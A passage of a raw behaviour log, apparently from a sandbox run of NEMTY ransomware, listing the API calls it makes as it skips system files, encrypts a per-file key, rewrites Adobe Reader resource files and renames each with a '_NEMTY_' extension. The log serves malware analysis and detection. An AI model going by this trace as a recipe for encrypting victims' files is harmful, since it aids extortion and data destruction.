ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6aae, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.lv.txt", cAlternateFileName="DI4C2B~1.TXT")) returned 1 [0216.017] lstrcmpiW (lpString1="DisplayLanguageNames.lv.txt", lpString2=".") returned 1 [0216.017] lstrcmpiW (lpString1="DisplayLanguageNames.lv.txt", lpString2="..") returned 1 [0216.017] lstrcmpiW (lpString1="DisplayLanguageNames.lv.txt", lpString2="...") returned 1 [0216.017] lstrcmpiW (lpString1="DisplayLanguageNames.lv.txt", lpString2="windows") returned -1 [0216.017] lstrcmpiW (lpString1="DisplayLanguageNames.lv.txt", lpString2="$RECYCLE.BIN") returned 1 [0216.017] lstrcmpiW (lpString1="DisplayLanguageNames.lv.txt", lpString2="rsa") returned -1 [0216.017] lstrcmpiW (lpString1="DisplayLanguageNames.lv.txt", lpString2="NTDETECT.COM") returned -1 [0216.017] lstrcmpiW (lpString1="DisplayLanguageNames.lv.txt", lpString2="ntldr") returned -1 [0216.017] lstrcmpiW (lpString1="DisplayLanguageNames.lv.txt", lpString2="MSDOS.SYS") returned -1 [0216.017] lstrcmpiW (lpString1="DisplayLanguageNames.lv.txt", lpString2="IO.SYS") returned -1 [0216.017] lstrcmpiW (lpString1="DisplayLanguageNames.lv.txt", lpString2="boot.ini") returned 1 [0216.017] lstrcmpiW (lpString1="DisplayLanguageNames.lv.txt", lpString2="boot.ini") returned 1 [0216.017] lstrcmpiW (lpString1="DisplayLanguageNames.lv.txt", lpString2="AUTOEXEC.BAT") returned 1 [0216.017] lstrcmpiW (lpString1="DisplayLanguageNames.lv.txt", lpString2="ntuser.dat") returned -1 [0216.017] lstrcmpiW (lpString1="DisplayLanguageNames.lv.txt", lpString2="desktop.ini") returned 1 [0216.017] lstrcmpiW (lpString1="DisplayLanguageNames.lv.txt", lpString2="CONFIG.SYS") returned 1 [0216.017] lstrcmpiW (lpString1="DisplayLanguageNames.lv.txt", lpString2="RECYCLER") returned -1 [0216.017] lstrcmpiW (lpString1="DisplayLanguageNames.lv.txt", lpString2="BOOTSECT.BAK") returned 1 [0216.017] lstrcmpiW (lpString1="DisplayLanguageNames.lv.txt", lpString2="bootmgr") returned 1 [0216.017] lstrcmpiW (lpString1="DisplayLanguageNames.lv.txt", lpString2="programdata") returned -1 [0216.017] lstrcmpiW (lpString1="DisplayLanguageNames.lv.txt", lpString2="appdata") returned 1 [0216.017] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.018] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.lv.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0216.018] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.018] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.lv.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.lv.txt", lpUsedDefaultChar=0x0) returned 27 [0216.018] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.018] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0216.018] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.lv.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0216.018] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.018] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.lv.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.lv.txt", lpUsedDefaultChar=0x0) returned 27 [0216.018] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.018] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0216.018] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.018] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.018] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.lv.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0216.018] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.018] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.lv.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.lv.txt", lpUsedDefaultChar=0x0) returned 27 [0216.018] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.018] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.018] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.lv.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0216.018] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.018] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.lv.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.lv.txt", lpUsedDefaultChar=0x0) returned 27 [0216.018] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.018] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0216.018] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0216.018] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0216.018] Sleep (dwMilliseconds=0x5) [0216.026] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x34664450, dwHighDateTime=0x1d561e8)) [0216.027] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x34664450, dwHighDateTime=0x1d561e8)) [0216.027] GetLastError () returned 0x0 [0216.027] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.027] GetLastError () returned 0x0 [0216.027] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0216.027] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.027] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0216.027] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0216.027] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0216.027] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0216.027] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0216.027] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e5dc | out: pszString="VNtCl6jElRgp0C5xLq+Jw+tjMCeomoZaqreuhlZreZHenl95uwMkHLthnYkYd+8h\r\nk4iHEjDdwRu9rmNXT30mL/3tU1cIPLxEfB/FhnksebJqp3ty9sqkUK8R284VVC45\r\nPjsImMI4a8Oqvx99N8CovVVEeEk7fIXVMAqzTW7Hpd8p1WPo/9vtZhExCDzcNps/\r\nQge1+eMZXlep7xMbVAHfkW2cmA/lTK7vZivg7+06JdzuXAMnfO+X7VwjHBiAOJxG\r\nI3qRZ9s9x5DyruZZawovnI/CHkUKUaL71RpH0Y6CjvpDtQW91sgur4BbFMriVnr1\r\n20ursj5nk0Ko31KN0qFXDQ==\r\n", pcchString=0x653e5dc) returned 1 [0216.027] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0216.027] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0216.027] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0216.027] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0216.027] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0216.027] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0216.027] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.lv.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.lv.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0216.028] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=27310) returned 1 [0216.028] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6aa0) returned 0x6352c48 [0216.028] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.028] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6aa0, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6aa0, lpOverlapped=0x0) returned 1 [0216.033] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.033] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6aa0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6aa0, lpOverlapped=0x0) returned 1 [0216.033] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0216.033] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=27310, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6aae [0216.033] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0216.033] CloseHandle (hObject=0x2e8) returned 1 [0216.033] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0216.033] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0216.033] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0216.033] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0216.033] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0216.033] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0216.033] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0216.034] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0216.034] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0216.034] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0216.034] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.lv.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.lv.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.lv.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.lv.txt._nemty_kgobjgd_")) returned 1 [0216.034] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0216.034] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0216.034] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0216.034] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0216.034] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0216.034] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0216.034] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0216.034] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0216.034] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.034] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.034] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f31b6a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6aae, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.lv_LV.txt", cAlternateFileName="DI7CF0~1.TXT")) returned 1 [0216.034] lstrcmpiW (lpString1="DisplayLanguageNames.lv_LV.txt", lpString2=".") returned 1 [0216.034] lstrcmpiW (lpString1="DisplayLanguageNames.lv_LV.txt", lpString2="..") returned 1 [0216.035] lstrcmpiW (lpString1="DisplayLanguageNames.lv_LV.txt", lpString2="...") returned 1 [0216.035] lstrcmpiW (lpString1="DisplayLanguageNames.lv_LV.txt", lpString2="windows") returned -1 [0216.035] lstrcmpiW (lpString1="DisplayLanguageNames.lv_LV.txt", lpString2="$RECYCLE.BIN") returned 1 [0216.035] lstrcmpiW (lpString1="DisplayLanguageNames.lv_LV.txt", lpString2="rsa") returned -1 [0216.035] lstrcmpiW (lpString1="DisplayLanguageNames.lv_LV.txt", lpString2="NTDETECT.COM") returned -1 [0216.035] lstrcmpiW (lpString1="DisplayLanguageNames.lv_LV.txt", lpString2="ntldr") returned -1 [0216.035] lstrcmpiW (lpString1="DisplayLanguageNames.lv_LV.txt", lpString2="MSDOS.SYS") returned -1 [0216.035] lstrcmpiW (lpString1="DisplayLanguageNames.lv_LV.txt", lpString2="IO.SYS") returned -1 [0216.035] lstrcmpiW (lpString1="DisplayLanguageNames.lv_LV.txt", lpString2="boot.ini") returned 1 [0216.035] lstrcmpiW (lpString1="DisplayLanguageNames.lv_LV.txt", lpString2="boot.ini") returned 1 [0216.035] lstrcmpiW (lpString1="DisplayLanguageNames.lv_LV.txt", lpString2="AUTOEXEC.BAT") returned 1 [0216.035] lstrcmpiW (lpString1="DisplayLanguageNames.lv_LV.txt", lpString2="ntuser.dat") returned -1 [0216.035] lstrcmpiW (lpString1="DisplayLanguageNames.lv_LV.txt", lpString2="desktop.ini") returned 1 [0216.035] lstrcmpiW (lpString1="DisplayLanguageNames.lv_LV.txt", lpString2="CONFIG.SYS") returned 1 [0216.035] lstrcmpiW (lpString1="DisplayLanguageNames.lv_LV.txt", lpString2="RECYCLER") returned -1 [0216.035] lstrcmpiW (lpString1="DisplayLanguageNames.lv_LV.txt", lpString2="BOOTSECT.BAK") returned 1 [0216.035] lstrcmpiW (lpString1="DisplayLanguageNames.lv_LV.txt", lpString2="bootmgr") returned 1 [0216.035] lstrcmpiW (lpString1="DisplayLanguageNames.lv_LV.txt", lpString2="programdata") returned -1 [0216.035] lstrcmpiW (lpString1="DisplayLanguageNames.lv_LV.txt", lpString2="appdata") returned 1 [0216.035] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.035] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.lv_LV.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0216.035] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.035] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.lv_LV.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.lv_LV.txt", lpUsedDefaultChar=0x0) returned 30 [0216.035] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.035] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0216.035] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.lv_LV.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0216.035] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.035] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.lv_LV.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.lv_LV.txt", lpUsedDefaultChar=0x0) returned 30 [0216.035] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.035] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0216.035] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.035] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.035] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.lv_LV.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0216.035] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.035] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.lv_LV.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.lv_LV.txt", lpUsedDefaultChar=0x0) returned 30 [0216.035] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.036] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.036] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.lv_LV.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0216.036] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.036] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.lv_LV.txt", cchWideChar=30, lpMultiByteStr=0x4f9ed58, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.lv_LV.txt", lpUsedDefaultChar=0x0) returned 30 [0216.036] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.036] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0216.036] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0216.036] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0216.036] Sleep (dwMilliseconds=0x5) [0216.042] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x3468a5b0, dwHighDateTime=0x1d561e8)) [0216.042] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x3468a5b0, dwHighDateTime=0x1d561e8)) [0216.042] GetLastError () returned 0x0 [0216.042] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.042] GetLastError () returned 0x0 [0216.042] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0216.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0216.043] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0216.043] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0216.043] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0216.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0216.043] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e5dc | out: pszString="GtYl1rGKaUPMJ5Qute3CVJz9lee/oPaYMzYJS4k9BKUaR7pfUssOF59BxkJesfU6\r\niQyitwaLEYIakx9WkVnarOIl0A0tv1LkiZT+HGTFH2GbRYWxj8rQaIkNzpDJ/mh3\r\nOIeo7bPzXNzMoQQxB0xnCFc4AsC/DKyCGarpE5DT1i2WdkHHOt0N5xt1RYdsSg8S\r\n9uXO0hbIHZnfDRrZHvLLslTWnkseFsI8KcjbyeLT8NupkBiOyfXRt7Em5RluZuC/\r\n7mkSRJ8bL334BJE5VuauJvDiBXL59PYoqRP40dgefudW5bWMSYMl8uShF2Q2xTTQ\r\nwDUfNgkpcZ/T8usCnUGQgg==\r\n", pcchString=0x653e5dc) returned 1 [0216.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0216.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0216.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0216.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0216.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0216.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0216.043] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.lv_LV.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.lv_lv.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0216.044] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=27310) returned 1 [0216.044] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6aa0) returned 0x6352c48 [0216.044] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.044] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6aa0, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6aa0, lpOverlapped=0x0) returned 1 [0216.047] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.047] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6aa0, lpNumberOfBytesWritten=0x653e81c, 